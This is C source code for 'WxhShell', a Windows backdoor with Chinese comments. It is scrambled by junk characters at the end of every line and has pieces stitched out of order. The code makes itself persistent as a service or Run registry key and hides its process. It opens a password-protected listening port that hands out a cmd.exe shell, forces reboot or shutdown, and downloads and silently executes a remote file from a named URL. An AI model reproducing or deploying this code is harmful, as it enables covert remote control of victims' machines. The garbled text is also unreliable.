    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zvP>8[   
    if(Boot(SHUTDOWN)) #jR1ti)p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zRF +D+  
    else { $8Y|& P  
    closesocket(wsh); wg 6  
    ExitThread(0); _,]@xFCOH  
    } 3!KEk?I]  
    break; ^>!~%Vv7!  
    } ,zH\&D$>u  
  // 获取shell N'RUtFqj   
  case 's': { \dc*!Es  
    CmdShell(wsh); Ewczq1%l:  
    closesocket(wsh); Y^J/jA0\B  
    ExitThread(0); q#!c6lG  
    break; E,:E u<  
  } "+KAYsVtU  
  // 退出 Cr$8\{2OA7  
  case 'x': { c9N5c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V(6ovJpA0  
    CloseIt(wsh); sD`OHV:  
    break; UG<`m]  
    } S.A|(?x  
  // 离开 ! V;glx[  
  case 'q': { &IgH]?t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cu$i8$?t   
    closesocket(wsh); $79-)4;z4  
    WSACleanup(); *Wz\FixP0  
    exit(1); bR;Wf5  
    break; AwO'%+Bv  
        } ,Taq~  
  } ?{*/VJl$  
  } .LHzaeJCX  
Y]Y]"y$1  
  // 提示信息 rpO>l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F {T\UX  
} 9\D0mjn=l  
  } B(|dT66K  
h O}nc$S  
  return; nvnJVkL9s  
} ?e+$?8l[3  
n"c3C)  
// shell模块句柄 &26H   
int CmdShell(SOCKET sock) I &I q  
{ fE/|U|5L[  
STARTUPINFO si; u9R:2ah&K  
ZeroMemory(&si,sizeof(si)); 4Z<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /C)FS?=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X mX .)h'Y  
PROCESS_INFORMATION ProcessInfo; $y&1.caMa  
char cmdline[]="cmd"; [E/}-m6g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )!(etB=`y  
  return 0; JqmKD4p  
} 1 |zy6  
5uufpvah  
// 自身启动模式 !2Q>   
int StartFromService(void) b5Pakz=jNM  
{ mMRdnf!Uid  
typedef struct bkfk9P  
{ Rk.GrLp  
  DWORD ExitStatus; vswBK-w(Z  
  DWORD PebBaseAddress; [v$NxmRu  
  DWORD AffinityMask; #[{xEVf  
  DWORD BasePriority; mjz<,s`D  
  ULONG UniqueProcessId; '+{dr\nJ  
  ULONG InheritedFromUniqueProcessId; l]o)KM<  
}   PROCESS_BASIC_INFORMATION; PofHe  
\9t6 #8  
PROCNTQSIP NtQueryInformationProcess; /i)1BaF  
k|c=O6GO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qEbzF#a-:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k_<8SG+`  
#XlE_XD  
  HANDLE             hProcess; `2Oh0{x0*O  
  PROCESS_BASIC_INFORMATION pbi; @Ui dQX"b  
{<3>^ o|"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Jrk#7  
  if(NULL == hInst ) return 0; {b6g!sE  
vz_ZXy9Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kbkq.fYr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |r=.}9 -  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ib%x&?||  
\7Fkeo+  
  if (!NtQueryInformationProcess) return 0; E5b JIC(  
p-t*?p C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +2+wNFU  
  if(!hProcess) return 0; .4NQ2k1io  
b|HH9\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [d_sd  
zUhJr$N$  
  CloseHandle(hProcess); ?~5J!|r#  
Xqac$%[3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S(f V ,;Z  
if(hProcess==NULL) return 0; 8?7gyp!k_f  
:>t? ^r(  
HMODULE hMod; ]'/ZSy,  
char procName[255]; ~t~5ctJ@  
unsigned long cbNeeded; mrfc.{`[  
>%D=#}8l@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .{|AHW&0<  
!cWnQRIt_F  
  CloseHandle(hProcess); j>0~"A  
9#;UQ.qA  
if(strstr(procName,"services")) return 1; // 以服务启动 d^w*!<8  
: a4FO  
  return 0; // 注册表启动 Q b|.;_  
} CXs i  
h8yv:}XU*  
// 主模块 .ZxH#l _  
int StartWxhshell(LPSTR lpCmdLine) 6GD Uo}.  
{ S0ct;CS  
  SOCKET wsl; Y{8L ~U:  
BOOL val=TRUE; ^8V cm*  
  int port=0; U&|$B|[  
  struct sockaddr_in door; PUN.nt  
D=fB&7%@  
  if(wscfg.ws_autoins) Install(); fV;&)7d&  
LEJ7.82  
port=atoi(lpCmdLine); E5%ae (M^  
UI4Xv  
if(port<=0) port=wscfg.ws_port; Vo%UiVHy  
diLjUC`69  
  WSADATA data; ,QpDz{8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }<wj~f([  
R<!WW9IM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B9_0 Yq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [\ JZpF  
  door.sin_family = AF_INET; A/U tf0{3"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n]B)\D+V^  
  door.sin_port = htons(port); sv^; nOAc  
mP)<;gm,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pr-{/6j6  
closesocket(wsl); QsmG(1=  
return 1; L#e|t0'#  
} BX),U  
tc{23Rf%  
  if(listen(wsl,2) == INVALID_SOCKET) { b'N"?W^YQ  
closesocket(wsl); XU0"f!23x  
return 1; ;D/'7f7.}  
} *TuoC5  
  Wxhshell(wsl); azB~>#H~  
  WSACleanup(); Dz&4za+{  
b)u9#%Q  
return 0; d]e`t"Aj  
 <C4^Vem  
} X/1Z9 a+W  
<EI'N0~KG  
// 以NT服务方式启动 T T0O %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IEzZ$9,A5  
{ <MN+2^ed&  
DWORD   status = 0; e<^tY0rR&  
  DWORD   specificError = 0xfffffff; Ze$:-7Czl  
7l Aa6"Y68  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P|.KMtG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2597#O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >t8eVMMa  
  serviceStatus.dwWin32ExitCode     = 0; r/Pg,si  
  serviceStatus.dwServiceSpecificExitCode = 0; +V |]:{3W  
  serviceStatus.dwCheckPoint       = 0; /$rS0@p  
  serviceStatus.dwWaitHint       = 0; 0;TMwE  
sZ'3PNpCP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?NI)3-l  
  if (hServiceStatusHandle==0) return; %!rsu-W:Y  
Yb =8\<;  
status = GetLastError(); Pr<?E[  
  if (status!=NO_ERROR) :B- ,*@EU  
{ {uj9fE,)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j )F~C8*  
    serviceStatus.dwCheckPoint       = 0; >[xQUf,p  
    serviceStatus.dwWaitHint       = 0; I{cn ,,8  
    serviceStatus.dwWin32ExitCode     = status; ecf7g)+C  
    serviceStatus.dwServiceSpecificExitCode = specificError; xDr *|d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1'_OM h*;  
    return; Zt` ,DM  
  } xs &vgel>  
,75,~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Iz{AA-  
  serviceStatus.dwCheckPoint       = 0; *8XGo  
  serviceStatus.dwWaitHint       = 0; Y,m H ]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sCb?TyN'n  
} "<O?KO 3K  
0/KNXz  
// 处理NT服务事件,比如:启动、停止 iCx'`^HnP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q}2w~Cn\S  
{ vJq`l3&  
switch(fdwControl) T  |j^  
{ OClY ,@  
case SERVICE_CONTROL_STOP: Eun%uah6c  
  serviceStatus.dwWin32ExitCode = 0; r9vC&pWZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |E7]69=P  
  serviceStatus.dwCheckPoint   = 0; 2N,*S   
  serviceStatus.dwWaitHint     = 0; 0\Oeo8<7)~  
  { R1q04Zj{2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gieX`}  
  } U |4% ydG  
  return; *gT TI;:  
case SERVICE_CONTROL_PAUSE: n(o Jb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r?V|9B`$p  
  break; mU&J,C  
case SERVICE_CONTROL_CONTINUE: qbAoab53  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; alu`T c~  
  break; /|DQ_<*  
case SERVICE_CONTROL_INTERROGATE: <g%xo"  
  break; ;%82Z4  
}; d#z67Nl6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g*]<]%Py"  
} vRY4N{v(<  
, zw  
// 标准应用程序主函数 0^[$0]Mt[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fg1 zT~  
{ =q"3a9 pb7  
Ahebr{u  
// 获取操作系统版本 X>wQYIi  
OsIsNt=GetOsVer(); JqZ%*^O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Aio0++ r-  
"iydXV=Q  
  // 从命令行安装 vMI\$E &  
  if(strpbrk(lpCmdLine,"iI")) Install(); tIvtiN6[|l  
7PvuKAv?k  
  // 下载执行文件 [wOO)FjT  
if(wscfg.ws_downexe) { 54)}^ftY^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g{a0,B/j  
  WinExec(wscfg.ws_filenam,SW_HIDE); uIPR*9~6o  
} $i`YtV  
kdo)y(fn@  
if(!OsIsNt) { FVpe*]  
// 如果时win9x,隐藏进程并且设置为注册表启动  3sw1y  
HideProc(); ~|!lC}!IKL  
StartWxhshell(lpCmdLine); eX$Biv1N  
} S n+Yi  
else 7vWB=r>5@  
  if(StartFromService()) ~gAx  
  // 以服务方式启动 }z*p2)v`  
  StartServiceCtrlDispatcher(DispatchTable); R`<E3J\*  
else @F1pu3E  
  // 普通方式启动 bBQp:P?E  
  StartWxhshell(lpCmdLine); A6Qi^TI  
4@Qq5kpk*  
return 0; $H 9xM  
} C/$IF M<  
L@ay4,e.bz  
>pYgF =J  
/za,&7sf  
=========================================== ]Lh\[@#1f  
WgL! @g  
NdZ: 7  
{ p/m+m  
\E30.>%,  
{!4%Z9G  
" aD:+,MZ  
lV 1|\~?4  
#include <stdio.h> MWuVV=rd8a  
#include <string.h> "N;|~S)w!  
#include <windows.h> S,v`rmI  
#include <winsock2.h> - t+Mh.  
#include <winsvc.h> 'F~u \m=E  
#include <urlmon.h> B?4\IXek  
8BN'fWl&E  
#pragma comment (lib, "Ws2_32.lib") &d2/F i+  
#pragma comment (lib, "urlmon.lib") o]j*  
<eI;Jph5  
#define MAX_USER   100 // 最大客户端连接数 iOyYf!yg  
#define BUF_SOCK   200 // sock buffer g$tW9 Q  
#define KEY_BUFF   255 // 输入 buffer BCj&z{5"7e  
 ?b0\[  
#define REBOOT     0   // 重启 <vrx8Q*6  
#define SHUTDOWN   1   // 关机 ~DD/\V  
,yF)7fN  
#define DEF_PORT   5000 // 监听端口 ~:@H6Ke[  
4j*}|@x  
#define REG_LEN     16   // 注册表键长度 VuY.})+J:  
#define SVC_LEN     80   // NT服务名长度 kmS8>O  
)eFK@goGeb  
// 从dll定义API eOb`uyi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pA2U+Q@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j0GI[#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p#kC#{<nE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s5pY)6)  
TQou.'+v  
// wxhshell配置信息 xI@~Ig  
struct WSCFG { d.Z]R&X08  
  int ws_port;         // 监听端口 r~TT c)2  
  char ws_passstr[REG_LEN]; // 口令 MXy{]o_H~  
  int ws_autoins;       // 安装标记, 1=yes 0=no aI<~+]  
  char ws_regname[REG_LEN]; // 注册表键名 1gE`_%?K  
  char ws_svcname[REG_LEN]; // 服务名 bm4W,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A0XFu}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U,=K_oBAq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x6t;=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |^F-.Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eZ!k'bS=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vo%d;>!G\;  
H@zk8]_P  
}; @2mP  
9ZBF1sMg  
// default Wxhshell configuration [a3 0iE  
struct WSCFG wscfg={DEF_PORT, (Ka# 6   
    "xuhuanlingzhe", CytpL`&^]  
    1, pR"qPSv'  
    "Wxhshell", -db+Y:xUZ  
    "Wxhshell", z)%1i  
            "WxhShell Service", C gx?K]>y  
    "Wrsky Windows CmdShell Service", -  -G1H  
    "Please Input Your Password: ", k mj m6  
  1, _a&|,ajy >  
  "http://www.wrsky.com/wxhshell.exe", .H"hRYPC?  
  "Wxhshell.exe" F MVmH!E  
    }; oo!g?X[[  
qo@dFKy  
// 消息定义模块 /Uc*7Y5j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |$PLZ,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ng*%1;P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =r~. I  
char *msg_ws_ext="\n\rExit."; z m'jk D|  
char *msg_ws_end="\n\rQuit."; {#,FlR2  
char *msg_ws_boot="\n\rReboot..."; ju#6 3  
char *msg_ws_poff="\n\rShutdown..."; RVfe}4Stm#  
char *msg_ws_down="\n\rSave to "; W%1S:2+Kl  
}>0 Kc=  
char *msg_ws_err="\n\rErr!"; ~S3eatM$9  
char *msg_ws_ok="\n\rOK!"; \ax%I)3  
}kj6hnQ  
char ExeFile[MAX_PATH]; {Fi@|'  
int nUser = 0; :j ~5(K"  
HANDLE handles[MAX_USER]; 7mM;Q  
int OsIsNt; { rT`*P~  
u3vmC:bV  
SERVICE_STATUS       serviceStatus; q3F5\6aN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^mi4q[PM  
A-5 +#  
// 函数声明 Q7|13^ |C  
int Install(void); !qlGt)G3  
int Uninstall(void); mB{{o}'<u  
int DownloadFile(char *sURL, SOCKET wsh); ??Zmj:8E'  
int Boot(int flag); Z+"&{g  
void HideProc(void); N^+ww]f?  
int GetOsVer(void); 6mdnEmFM]  
int Wxhshell(SOCKET wsl); F"xO0t  
void TalkWithClient(void *cs); ~-5@- V  
int CmdShell(SOCKET sock); D,\=zX;  
int StartFromService(void); <^U(ya  
int StartWxhshell(LPSTR lpCmdLine); %7msAvbk  
>|)0Amt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ImY.HB^&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >x4[7YAU{  
d8HB2c5y0i  
// 数据结构和表定义 n5.>;N.*  
SERVICE_TABLE_ENTRY DispatchTable[] = PQ}%}S7:  
{ |l xy< C4V  
{wscfg.ws_svcname, NTServiceMain}, |a{]P=<q  
{NULL, NULL} FRFAWK<  
}; au|^V^m  
9Yyg}l:  
// 自我安装 Nb~dw;t  
int Install(void) C8EC?fSQ  
{ /\rq$W_  
  char svExeFile[MAX_PATH]; <(4#4=ivP  
  HKEY key; 1>w^ q`P  
  strcpy(svExeFile,ExeFile); = O1;vc}AA  
%i8>w:@NW  
// 如果是win9x系统,修改注册表设为自启动 N@6OQ:,[F  
if(!OsIsNt) { Z=@)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6 ]Oxx{|}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0j(jJAE.  
  RegCloseKey(key); B#"|5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e({fY.)SGo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S2E HmE&  
  RegCloseKey(key); PuCDsojclh  
  return 0; 4|N\Q=,  
    } o^Ysp&#p  
  } 61W/BU7O  
} hG7S]\N_  
else { VONAw3k7!  
P0e""9JOo  
// 如果是NT以上系统,安装为系统服务 TE%#$q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ttaQlEa=Z  
if (schSCManager!=0) Q)`gPX3F  
{ uxyTu2L7  
  SC_HANDLE schService = CreateService H'{?aaK|t  
  ( [!@oRK=~  
  schSCManager, -I-Uh{)j  
  wscfg.ws_svcname, *3O>J"  
  wscfg.ws_svcdisp, zN+* R;Ds  
  SERVICE_ALL_ACCESS, =kh>s$We  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >:E* 7  
  SERVICE_AUTO_START, f&}A!uLe4x  
  SERVICE_ERROR_NORMAL, &3Z. #*  
  svExeFile, &4Con%YU[  
  NULL, HI\f>U  
  NULL, *fi;ZUPW3  
  NULL, P%sO(_PuT  
  NULL, $[iT~B$  
  NULL IT`=\K/[4  
  ); kt{C7qpD  
  if (schService!=0) ZQ~myqx,+L  
  { [W$Z60?RR  
  CloseServiceHandle(schService); Hp}  
  CloseServiceHandle(schSCManager); PKR $I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^2^|AXNES  
  strcat(svExeFile,wscfg.ws_svcname); 5!F\h'E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZBmXaP[9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #RM3^]h  
  RegCloseKey(key); F|l`YtZZd  
  return 0; =6L*!JP<  
    } `{U%[$<[W  
  } y[p$/$bgC5  
  CloseServiceHandle(schSCManager); nS+FX& _  
} *Z`XG_s5  
} eKVALUw  
w,Zx5bBg%  
return 1; 0<@KDlF  
} dA1 C)gLi  
dHG  Io  
// 自我卸载 $iqi:vY  
int Uninstall(void) %gu$_S  
{ ) p<fL  
  HKEY key; AB"1(PbG  
ZSPgci  
if(!OsIsNt) { W 9Vz[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *el(+ib%  
  RegDeleteValue(key,wscfg.ws_regname); yYToiW *  
  RegCloseKey(key); n<?SZ^X{,/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+WZE  
  RegDeleteValue(key,wscfg.ws_regname); 5BHOHw D{  
  RegCloseKey(key); dGsS<@G  
  return 0; 3X$Q,  
  } iog # ,  
} 8jggc#.  
} 5, -pBep<  
else { wI! +L&Q  
t0e{| du  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M_h8#7{G  
if (schSCManager!=0) U.RW4df%E  
{ lMBX!9z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cXS;z.M\_  
  if (schService!=0) 0AK?{y U  
  { jQ_dw\ {0  
  if(DeleteService(schService)!=0) { l*K I  
  CloseServiceHandle(schService); O xT}I  
  CloseServiceHandle(schSCManager); mN\%f J7  
  return 0; K lli$40  
  } rToaGQh  
  CloseServiceHandle(schService); aGB0-;.t7  
  } JFRpsv  
  CloseServiceHandle(schSCManager); m']9Q3-  
} 3cOY0Z#T  
} 4<T*i{[  
;GE26Ymqly  
return 1; Cs:+93w  
} ^n&]HzT`y  
s>jr1~~3O_  
// 从指定url下载文件 X-kXg)!Bg  
int DownloadFile(char *sURL, SOCKET wsh) X!o[RJY  
{ _BG8/"h32  
  HRESULT hr; &so-O90  
char seps[]= "/"; -RG8<bI,  
char *token; g.I(WJX0  
char *file; -ca7x`yo  
char myURL[MAX_PATH]; . [T'yc:=  
char myFILE[MAX_PATH]; /!=U +X  
*wC\w  
strcpy(myURL,sURL); /"""z=q  
  token=strtok(myURL,seps); ]}z'X!v_@  
  while(token!=NULL) I %|@3=Yc  
  { %cH8;5U40  
    file=token; , Aq9fyC%  
  token=strtok(NULL,seps); ^IX%dzM  
  } _1>SG2h{fV  
fav5e'[$  
GetCurrentDirectory(MAX_PATH,myFILE); R=-+YBw7/  
strcat(myFILE, "\\"); o 'C~~Vg).  
strcat(myFILE, file); "jL1. 9%"  
  send(wsh,myFILE,strlen(myFILE),0); tJ=3'?T_k  
send(wsh,"...",3,0); (M ]XNn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Dv<wge`  
  if(hr==S_OK) K;oV"KRK  
return 0; o]Z _@VI  
else Hf VHI1f  
return 1; z)4UMR#b&  
;>NP.pnA)  
} 9wL!D3e {Q  
q*\NRq  
// 系统电源模块 :KEq<fEI  
int Boot(int flag) C,o:  
{ VmN}FMGN  
  HANDLE hToken; DH5bpg&T  
  TOKEN_PRIVILEGES tkp; b,#`n  
8y$5oD6g9  
  if(OsIsNt) { 8r,9OM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m_a^RB(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -=>sTMWpr  
    tkp.PrivilegeCount = 1; Hx$.9'Oq\Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0 _Q * E3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JXH",""bq  
if(flag==REBOOT) { glv ;C/l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kMM'[w  
  return 0; jcE Msc  
} 'KH lrmnr  
else { .iFViVZC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^6Yd}  
  return 0; 6\NvG,8  
} -*?p F_*w  
  } R"@7m!IA  
  else { v@VLVf)>9^  
if(flag==REBOOT) { HLVQ7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) & x`&03X  
  return 0; Di:{er(p  
} Q4RpK(N  
else { Nepi|{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BU`ckK\(  
  return 0; |2O')3p"9  
} xcst<=  
} Us'Cs+5XcG  
4S tjj!ew  
return 1; 0; 7#ji  
} `|nH1sHFq  
13H;p[$  
// win9x进程隐藏模块 <PX.l%  
void HideProc(void) z<!O!wX_aI  
{ >Iuzk1'S  
{@3z\wMK$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $!f !,fw+  
  if ( hKernel != NULL ) IroPx#s:i  
  { /0(%(2jIWl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *ot> WVB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FH.f- ZU  
    FreeLibrary(hKernel); !v0"$V5+i  
  } `xCOR  
7'z(~3D  
return; P>(&glr|  
} _BbvhWN&+  
n+2%tW  
// 获取操作系统版本 vDsF-u1  
int GetOsVer(void) C8ZL*9U  
{ 3A_G=WaED  
  OSVERSIONINFO winfo; \^jjK,OK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :_v!#H)  
  GetVersionEx(&winfo); @OzMiN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hfh!l2P  
  return 1; fN@{y+6  
  else pe.Ml7o"  
  return 0; u"`*DFjo*  
} *7ZtNo[+  
=_l)gx+Y+y  
// 客户端句柄模块 ++b$E&lYU  
int Wxhshell(SOCKET wsl) |#k@U6`SG  
{ 8f|98T"  
  SOCKET wsh; j C)-`_  
  struct sockaddr_in client; 5MR,UgT  
  DWORD myID; qw<HY$3=  
/& r|ec5  
  while(nUser<MAX_USER) 1fH<VgF`  
{ U6<M/>RG$  
  int nSize=sizeof(client); yrnv!moc%t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ke!'gohv  
  if(wsh==INVALID_SOCKET) return 1; X3',vey  
dxK9:IX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _|A+ ) K  
if(handles[nUser]==0) {]^O:i"  
  closesocket(wsh); ygzxCn|#  
else s9@Sd  
  nUser++; 1Ipfw  
  } Xh F _]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D<>@ %"%  
XRxj  W  
  return 0; `:p1&OS  
} KnGTcoXg_  
tlQC6Fb#  
// 关闭 socket >&Y-u%}U  
void CloseIt(SOCKET wsh) U<^F4*G  
{ U\zD,<I9  
closesocket(wsh); o:~LF6A-  
nUser--; bWmw3w  
ExitThread(0); j/KO|iNL2  
} po7>IQS]  
B $XwTJ>  
// 客户端请求句柄 PX2c[CDE^  
void TalkWithClient(void *cs) ~e-z,:Af  
{ UG](go't  
u-3:k  
  SOCKET wsh=(SOCKET)cs; [%pRfjM  
  char pwd[SVC_LEN]; g<wRN#B  
  char cmd[KEY_BUFF]; n<7u>;SJQ  
char chr[1]; nS9wb1Zl  
int i,j; _MuZ4tc  
]{GDS! )  
  while (nUser < MAX_USER) { #+k*1 Jg  
~TqT }:,H  
if(wscfg.ws_passstr) { Z6Fp\aI8@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ok{!+VCB5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D +RiM~LH8  
  //ZeroMemory(pwd,KEY_BUFF); ++jAz<46  
      i=0; 4<gb36)|4  
  while(i<SVC_LEN) { k XrlSaIc  
5T?-zFMM  
  // 设置超时 Kr-G{b_Pp  
  fd_set FdRead; WQ6"0*er  
  struct timeval TimeOut; ba@ctkCW  
  FD_ZERO(&FdRead); O9"/ kmB  
  FD_SET(wsh,&FdRead); k~.&j"K  
  TimeOut.tv_sec=8; [{ ~TcT  
  TimeOut.tv_usec=0; t9cl"F=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =0    
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F_H82BE+3  
4(8xjL:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +&i +Mpb  
  pwd=chr[0]; Vsnuy8~k  
  if(chr[0]==0xd || chr[0]==0xa) { <hx+wrv  
  pwd=0; t0)<$At6J  
  break; :j^FJ@2_  
  } x@KZ ]  
  i++; S DLvi!y  
    } B9,^mE#  
)]htm&q5  
  // 如果是非法用户,关闭 socket j)C:$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XYr J/!*.  
} )"+2Z^1-  
D5,P)[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ep/Y^&$M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c>"cX&  
UVQ7L9%?f  
while(1) { cyM-)r@YQV  
jMNU ?m:  
  ZeroMemory(cmd,KEY_BUFF); [7FItlF%I  
%w7pkh,  
      // 自动支持客户端 telnet标准   |r%D\EB  
  j=0; eKvV*[N a  
  while(j<KEY_BUFF) { cLVeT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :'iYxhM.V  
  cmd[j]=chr[0]; =#gEB#$x:  
  if(chr[0]==0xa || chr[0]==0xd) { H1n1-!%d  
  cmd[j]=0; NMOut@  
  break; QPt Gdd  
  } }g7]?Ee  
  j++; c%m3}mrb  
    } U.!lTLjfLz  
!> }.~[M  
  // 下载文件 ~{,X3-S_H  
  if(strstr(cmd,"http://")) { 6/V3.UP-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y: m_tv0~0  
  if(DownloadFile(cmd,wsh)) &0zT I?c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a ^d8I  
  else : j }fC8'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zOgTQs"ZH  
